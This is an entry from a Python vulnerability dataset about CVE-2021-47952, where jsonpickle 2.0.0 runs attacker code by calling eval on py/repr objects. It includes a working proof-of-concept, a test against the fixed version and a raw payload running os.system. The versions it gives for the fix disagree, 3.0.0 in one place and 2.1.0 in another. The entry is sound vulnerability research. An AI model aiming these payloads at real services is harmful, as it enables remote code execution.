CVE-2021-47952

jsonpickle allows RCE via insecure deserialization of py/repr objects.

• CVSS 9.3
• CWE-94
• Input Validation and Sanitization
• Remote

python jsonpickle 2.0.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary Python commands by deserializing malicious JSON payloads containing py/repr objects. Attackers can craft JSON strings with py/repr directives that invoke the eval function during deserialization to execute system commands and arbitrary code.

CVE

CVE-2021-47952

CWE

CWE-94

CVSS base score

9.3

Published

2026-05-16

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Checking

Code defect classification

Serialization Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

jsonpickle

Fixed by upgrading

Yes

Solution

Upgrade to jsonpickle version 3.0.0 or later.

import jsonpickle
import os

# This code requires the vulnerable version: pip install jsonpickle==2.0.0

# Malicious payload crafted to exploit the py/repr directive.
# The string inside 'py/repr' will be executed by eval() during deserialization.
malicious_json = '{"py/repr": "__import__(\'os\').system(\'echo VULNERABLE: Remote Code Execution Successful\')"}'

print("Deserializing a malicious JSON string...")

# The vulnerable call that leads to Remote Code Execution.
jsonpickle.decode(malicious_json)

print("Deserialization complete.")

import jsonpickle

# Malicious payload that would execute code on a vulnerable version (e.g., 2.0.0)
malicious_json_payload = '{"py/repr": "__import__(\'os\').system(\'echo RCE_ATTEMPTED\')"}'

try:
    # In fixed versions (2.1.0+), the default 'safe' mode is enabled.
    # This call will raise an exception instead of executing the malicious code,
    # thus demonstrating that the vulnerability has been fixed.
    decoded_object = jsonpickle.decode(malicious_json_payload)
except Exception:
    # The exception proves the fix is working. The program safely continues
    # execution without running the arbitrary command in the payload.
    pass

{"py/repr": "__import__('os').system('touch /tmp/pwned')"}

@misc{vaitp:cve202147952,
  title        = {{jsonpickle allows RCE via insecure deserialization of py/repr objects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2021-47952},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-47952/}}
}